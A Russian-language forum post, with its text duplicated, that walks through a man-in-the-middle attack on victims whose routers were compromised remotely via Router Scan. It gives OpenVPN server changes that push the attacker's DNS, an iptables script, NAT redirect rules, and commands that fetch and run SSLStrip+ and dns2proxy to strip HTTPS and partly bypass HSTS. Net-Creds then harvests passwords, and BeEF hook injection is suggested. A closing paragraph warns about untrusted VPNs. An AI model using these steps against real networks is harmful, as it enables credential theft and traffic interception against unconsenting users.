Скачать Router Scan можно тут:
Если удалось получить доступ к сетевому оборудованию из Интернета (например, с помощью Router Scan), а доступа к локальной сети нет, то невозможно провести атаку человек-посередине. Или всё-таки возможно?
На самом деле возможно. Образец, как это сделать будет показан ниже. Более того, мы задействуем SSLStrip+ и dns2proxy для обхода HTTP Strict Transport Security (HSTS), а ещё будем использовать Net-Creds для лёгкого сбора паролей и другой чувствительной информации.
Если посмотреть порядок «обычной» атаки человек-посередине, то он заключается в следующем:
Т.е. получив доступ к роутеру, нам нужно придумать, как заставить его передавать трафик нам, т.е. взаимодействовать с глобальной сетью через нас. Функция прокси, вроде бы, в роутерах не встречается или встречается редко. Но зато VPN…
Суть VPN в том, что клиент устанавливает зашифрованный канал с сервером и уже через этот сервер выходит в глобальную сеть. Т.е. клиент сам, без разных ARP спуфингов передаёт свой трафик удалённому компьютеру! А уже на этом удалённом компьютере можно выполнять атаку человек-посередине со всеми возможностями, которые описаны чуть выше!
Если этот VPN ваш, то тот факт, что при VPN трафик передаётся по зашифрованному каналу не имеет никакого значения, поскольку на сервере трафик в любом случае расшифровывается и внутри «ящика» «гуляет» в открытом виде.
Т.е. концепция понятна:
за корень, то благодаря VPN мы создаём новую локальную сеть поверх Интернет-соединения. В этой локальной сети сервер VPN является ничем иным как шлюзом и именно по этой причине получает весь трафик без ARP спуфинга.
В теории всё довольно гладко и просто. Но разные модели роутеров поддерживают разные реализации VPN. Это разнообразие не даст вместить все варианты установки и настройки VPN. Я выберу один из них – OpenVPN. Существуют роутеры, которые поддерживают OpenVPN. Но цель данной заметки показать рабочий концепт, а не сделать универсальную инструкцию. В любом случае под конкретное оборудование нужно будет делать особые настройки сервера VPN.
Кстати, OpenVPN работает на разных популярных ОС, т.е. если вы имеете доступ к сетевому оборудованию, то вы вполне можете подключить интересующие вас машины к «безопасному OpenVPN для шифрования данных, чтобы хакеры их не могли перехватить»…
Особенности настройки OpenVPN для шпионажа за трафиком
Как уже было сказано, я покажу пример тюнинга (подстройки) сервера OpenVPN для облегчения сниффинга трафика.
Открываем файл с настройками сервера:
Если там есть строка вроде такой:
то меняете её на строку:
Этим мы заставляем цель использовать наш DNS прокси в качестве DNS сервера. Например, мой мошеннический OpenVPN поднят на IP 185.117.153.79, там же будет запущен dns2proxy, поэтому в моём случае строка имеет вид:
По умолчанию OpenVPN использует протокол UDP. SSLStrip+ не видит этот трафик, поэтому меняем протокол с UDP на TCP. Т.е. строку:
на строку:
Тестируем OpenVPN сервер:
И перезапускаем его:
На клиенте также выберите TCP протокол, например, на настольных ОС в конфигурационном файле vim
На сервере для «переброса» трафика используют разные правила для iptables. Вот пример такого файла на рабочем сервере:
В нём можно всё оставить без изменений, кроме этой строки:
Перехват логинов и паролей в VPN
Теперь можно воспользоваться любым вам привычным ПО для перехвата и модификации данных. Например, для просмотра паролей я буду использовать Net-Creds:
Обратите внимание на выбранный сетевой интерфейс — tun0. Это не имя реального физического интерфейса, это интерфейс, которым VPN на сервере подключён к клиентам.
Также уже сейчас можно вставлять хуки BeEF или любой HTML и JavaScript код.
Частичный обход HSTS
Зашифрованный трафик, доля которого постоянно возрастает, не даёт нам заглянуть во внутрь передаваемой информации. Связка из SSLStrip+ и dns2proxy поможет нам решить эту проблему и даже частично обойти HSTS.
Ставим необходимые зависимости (показано на примере BlackArch, залогинен под рутом):
Начнём с добавления новых правил роутинга на сервере VPN :
Скачиваем и запускаем SSLStrip+:
Скачиваем и запускаем dns2proxy:
Теперь опять можно запустить Net-Creds, в этот раз пойманных паролей будет значительно больше:
Как видно по следующим скриншотам, yandex.ru, vk.com, google.com и другие очень хорошо поддаются данной атаке:
Заключение
Итак, думаю, главная цель заметки – показать, что VPN может использоваться в злых намерениях, достигнута.
В процессе тестирования мне пришла мысль, что использовать разнообразные прокси серверы и VPN, принадлежащие неизвестным лицам, – это, по крайней мере, рискованно. Я не говорю, что все те, кто предоставляет услуги прокси и VPN, мошенники. Но абсолютно ничего не им не мешает анализировать и записывать трафик, перехватывать в нём данные, отправленные в открытом виде. Даже если данные передаются по зашифрованным каналам, владельцы VPN или прокси внутри своих машин имеют дело с незашифрованными данными (если они не зашифрованы на ещё каком-нибудь этапе).
Многим кажется, что иметь «свой» собственный VDS сервер со своим персональным VPN – это и есть выход. Но ведь физически к вашему серверу имеют доступ третьи лица! При таком доступе, например, если файловая система не зашифрована, то не нужен никакой пароль рута для доступа к любому файлу в системе. А получив копии сертификатов вашего VPN сервера, лица без труда смогут расшифровать весь трафик VPN. Даже «задним числом», т.е. если они «снимали» (записывали) зашифрованный трафик на протяжении последнего месяца, но у них не было данных для расшифровки, то, получив сертификаты, они смогут расшифровать трафик за предыдущий месяц.
В общем «если у вас нет паранойи, то это ещё не означает, что за вами не следят».
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Если удалось получить доступ к сетевому оборудованию из Интернета (например, с помощью Router Scan), а доступа к локальной сети нет, то невозможно провести атаку человек-посередине. Или всё-таки возможно?
На самом деле возможно. Образец, как это сделать будет показан ниже. Более того, мы задействуем SSLStrip+ и dns2proxy для обхода HTTP Strict Transport Security (HSTS), а ещё будем использовать Net-Creds для лёгкого сбора паролей и другой чувствительной информации.
Если посмотреть порядок «обычной» атаки человек-посередине, то он заключается в следующем:
- сканирование локальной сети в поисках рабочих устройств
- ARP спуфинг, смысл которого заключается в том, что цели начинают думать, что трафик теперь нужно отправлять не через роутер, а через компьютер атакующего
- чтобы у целей работал Интернет, атакующий перенаправляет запрос с целей в глобальную сеть, а полученные ответы передаёт целям
- анализировать его любым образом, например, для поиска паролей и любых других данных, передаваемых в незашифрованном виде
- блокировать доступ к определённым сайтам или перенаправлять на мошеннические сайты
- пытаться понизить протокол с HTTPS до HTTP, чтобы уменьшить количество данных, передаваемых в зашифрованном виде и увеличить количество передаваемых в виде простого текста
- вставлять разное содержимое в веб-страницы, в том числе способное ввести в заблуждение или привести к заражению компьютера вредоносным кодом.
Т.е. получив доступ к роутеру, нам нужно придумать, как заставить его передавать трафик нам, т.е. взаимодействовать с глобальной сетью через нас. Функция прокси, вроде бы, в роутерах не встречается или встречается редко. Но зато VPN…
Суть VPN в том, что клиент устанавливает зашифрованный канал с сервером и уже через этот сервер выходит в глобальную сеть. Т.е. клиент сам, без разных ARP спуфингов передаёт свой трафик удалённому компьютеру! А уже на этом удалённом компьютере можно выполнять атаку человек-посередине со всеми возможностями, которые описаны чуть выше!
Если этот VPN ваш, то тот факт, что при VPN трафик передаётся по зашифрованному каналу не имеет никакого значения, поскольку на сервере трафик в любом случае расшифровывается и внутри «ящика» «гуляет» в открытом виде.
Т.е. концепция понятна:
- нужно настроить свой мошеннический VPN
- сетевое оборудование жертвы настроить так, чтобы оно работало через наш VPN
- на сервере проводить любые виды атак на перехват/модификацию/блокировку передаваемого трафика
В теории всё довольно гладко и просто. Но разные модели роутеров поддерживают разные реализации VPN. Это разнообразие не даст вместить все варианты установки и настройки VPN. Я выберу один из них – OpenVPN. Существуют роутеры, которые поддерживают OpenVPN. Но цель данной заметки показать рабочий концепт, а не сделать универсальную инструкцию. В любом случае под конкретное оборудование нужно будет делать особые настройки сервера VPN.
Кстати, OpenVPN работает на разных популярных ОС, т.е. если вы имеете доступ к сетевому оборудованию, то вы вполне можете подключить интересующие вас машины к «безопасному OpenVPN для шифрования данных, чтобы хакеры их не могли перехватить»…
Особенности настройки OpenVPN для шпионажа за трафиком
Как уже было сказано, я покажу пример тюнинга (подстройки) сервера OpenVPN для облегчения сниффинга трафика.
Открываем файл с настройками сервера:
vim /etc/openvpn/server.conf
Если там есть строка вроде такой:
push "dhcp-option DNS 8.8.8.8"
то меняете её на строку:
push "dhcp-option DNS IP_сервера_с_dns2proxy"
Этим мы заставляем цель использовать наш DNS прокси в качестве DNS сервера. Например, мой мошеннический OpenVPN поднят на IP 185.117.153.79, там же будет запущен dns2proxy, поэтому в моём случае строка имеет вид:
push "dhcp-option DNS 185.117.153.79"
По умолчанию OpenVPN использует протокол UDP. SSLStrip+ не видит этот трафик, поэтому меняем протокол с UDP на TCP. Т.е. строку:
proto udp
на строку:
proto tcp
Тестируем OpenVPN сервер:
openvpn /etc/openvpn/server.conf
И перезапускаем его:
На клиенте также выберите TCP протокол, например, на настольных ОС в конфигурационном файле vim
/etc/openvpn/client.conf
строку proto udp
нужно поменять proto tcp
и перезапустите sudo systemctl restart openvpn@client
.На сервере для «переброса» трафика используют разные правила для iptables. Вот пример такого файла на рабочем сервере:
Bash:
#!/bin/sh
echo 1 > /proc/sys/net/ipv4/ip_forward
# Пример настройки файервола для OpenVPN.
# Если нужно, сделайте соответствующие
# изменения, сети вашего OpenVPN
PRIVATE=10.8.0.0/24
# Петлевой адрес
LOOP=127.0.0.1
# Удалить старые правила iptables
# и временно заблокировать весь трафик.
iptables -P OUTPUT DROP
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -F
# Установление политик по умолчанию
iptables -P OUTPUT ACCEPT
iptables -P INPUT DROP
iptables -P FORWARD DROP
# Предотвращаем использование локальных адресов внешними пакетами
iptables -A INPUT -i ens3 -s $LOOP -j DROP
iptables -A FORWARD -i ens3 -s $LOOP -j DROP
iptables -A INPUT -i ens3 -d $LOOP -j DROP
iptables -A FORWARD -i ens3 -d $LOOP -j DROP
# Всё, что приходит из Интернета, должно иметь реальный адрес
iptables -A FORWARD -i ens3 -s 192.168.0.0/16 -j DROP
iptables -A FORWARD -i ens3 -s 172.16.0.0/12 -j DROP
iptables -A FORWARD -i ens3 -s 10.8.0.0/8 -j DROP
iptables -A INPUT -i ens3 -s 192.168.0.0/16 -j DROP
iptables -A INPUT -i ens3 -s 172.16.0.0/12 -j DROP
iptables -A INPUT -i ens3 -s 10.8.0.0/8 -j DROP
# Блокируем исходящий NetBios (если в вашей подсети
# есть машины с Windows). Это не окажет влияния на какой-либо
# трафик NetBios, который идёт по VPN туннелю, но остановит
# локальные машины Windows от самостоятельного
# широковещания в Интернет.
iptables -A FORWARD -p tcp --sport 137:139 -o ens3 -j DROP
iptables -A FORWARD -p udp --sport 137:139 -o ens3 -j DROP
iptables -A OUTPUT -p tcp --sport 137:139 -o ens3 -j DROP
iptables -A OUTPUT -p udp --sport 137:139 -o ens3 -j DROP
# Разрешаем локальные петли
iptables -A INPUT -s $LOOP -j ACCEPT
iptables -A INPUT -d $LOOP -j ACCEPT
# Позволяем входящий пинг (можно отключить)
# iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
# Разрешаем такие службы как www и ssh (можно отключить)
iptables -A INPUT -p tcp --dport http -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# Разрешаем входящие пакеты OpenVPN
# Дуплицируйте строку ниже для каждого
# туннеля OpenVPN, меняя --dport n
# для соответствия порту OpenVPN UDP.
#
# В OpenVPN номер порта
# контролируется опцией --port n.
# Если вы разместили эту опцию в конфигурационном
# файле, вы можете удалить предшествующие '--'
#
# If you taking the stateful firewall
# approach (see the OpenVPN HOWTO),
# then comment out the line below.
iptables -A INPUT -p udp --dport 1194 -j ACCEPT
# Разрешить пакеты от устройств TUN/TAP.
# Когда OpenVPN запущен в безопасном режиме,
# он будет проверять подлинность пакетов до
# их прибытия на интерфейс
# tun или tap. Следовательно нет
# необходимости добавлять сюда какие-либо фильтры,
# если вы не хотите ограничить
# тип пакетов, которые могут проходить
# через туннель.
iptables -A INPUT -i tun+ -j ACCEPT
iptables -A FORWARD -i tun+ -j ACCEPT
iptables -A INPUT -i tap+ -j ACCEPT
iptables -A FORWARD -i tap+ -j ACCEPT
# Сохранить состояние подключений от локальной машины и частных сетей
iptables -A OUTPUT -m state --state NEW -o ens3 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m state --state NEW -o ens3 -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
# Маскировка локальной сети
iptables -t nat -A POSTROUTING -s $PRIVATE -o ens3 -j MASQUERADE
iptables -A INPUT -p upd --dport 1194 -j ACCEPT
которую нужно поменять на такую (опять же из-за смены протокола): iptables -A INPUT -p tcp --dport 1194 -j ACCEPT
Перехват логинов и паролей в VPN
Теперь можно воспользоваться любым вам привычным ПО для перехвата и модификации данных. Например, для просмотра паролей я буду использовать Net-Creds:
net-creds -i tun0
Обратите внимание на выбранный сетевой интерфейс — tun0. Это не имя реального физического интерфейса, это интерфейс, которым VPN на сервере подключён к клиентам.
Также уже сейчас можно вставлять хуки BeEF или любой HTML и JavaScript код.
Частичный обход HSTS
Зашифрованный трафик, доля которого постоянно возрастает, не даёт нам заглянуть во внутрь передаваемой информации. Связка из SSLStrip+ и dns2proxy поможет нам решить эту проблему и даже частично обойти HSTS.
Ставим необходимые зависимости (показано на примере BlackArch, залогинен под рутом):
pacman -S python2-service-identity python2-pcapy
Начнём с добавления новых правил роутинга на сервере VPN :
Bash:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 2000
iptables -t nat -A PREROUTING -p tcp --destination-port 1194 -j REDIRECT --to-port 2000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
Bash:
git clone https://github.com/singe/sslstrip2.git
cd sslstrip2/
nohup python2 ./sslstrip.py -l 2000 &
Bash:
cd ..
git clone https://github.com/singe/dns2proxy.git
cd dns2proxy/
nohup python2 dns2proxy.py &
net-creds -i tun0
Как видно по следующим скриншотам, yandex.ru, vk.com, google.com и другие очень хорошо поддаются данной атаке:
Заключение
Итак, думаю, главная цель заметки – показать, что VPN может использоваться в злых намерениях, достигнута.
В процессе тестирования мне пришла мысль, что использовать разнообразные прокси серверы и VPN, принадлежащие неизвестным лицам, – это, по крайней мере, рискованно. Я не говорю, что все те, кто предоставляет услуги прокси и VPN, мошенники. Но абсолютно ничего не им не мешает анализировать и записывать трафик, перехватывать в нём данные, отправленные в открытом виде. Даже если данные передаются по зашифрованным каналам, владельцы VPN или прокси внутри своих машин имеют дело с незашифрованными данными (если они не зашифрованы на ещё каком-нибудь этапе).
Многим кажется, что иметь «свой» собственный VDS сервер со своим персональным VPN – это и есть выход. Но ведь физически к вашему серверу имеют доступ третьи лица! При таком доступе, например, если файловая система не зашифрована, то не нужен никакой пароль рута для доступа к любому файлу в системе. А получив копии сертификатов вашего VPN сервера, лица без труда смогут расшифровать весь трафик VPN. Даже «задним числом», т.е. если они «снимали» (записывали) зашифрованный трафик на протяжении последнего месяца, но у них не было данных для расшифровки, то, получив сертификаты, они смогут расшифровать трафик за предыдущий месяц.
В общем «если у вас нет паранойи, то это ещё не означает, что за вами не следят».
Последнее редактирование: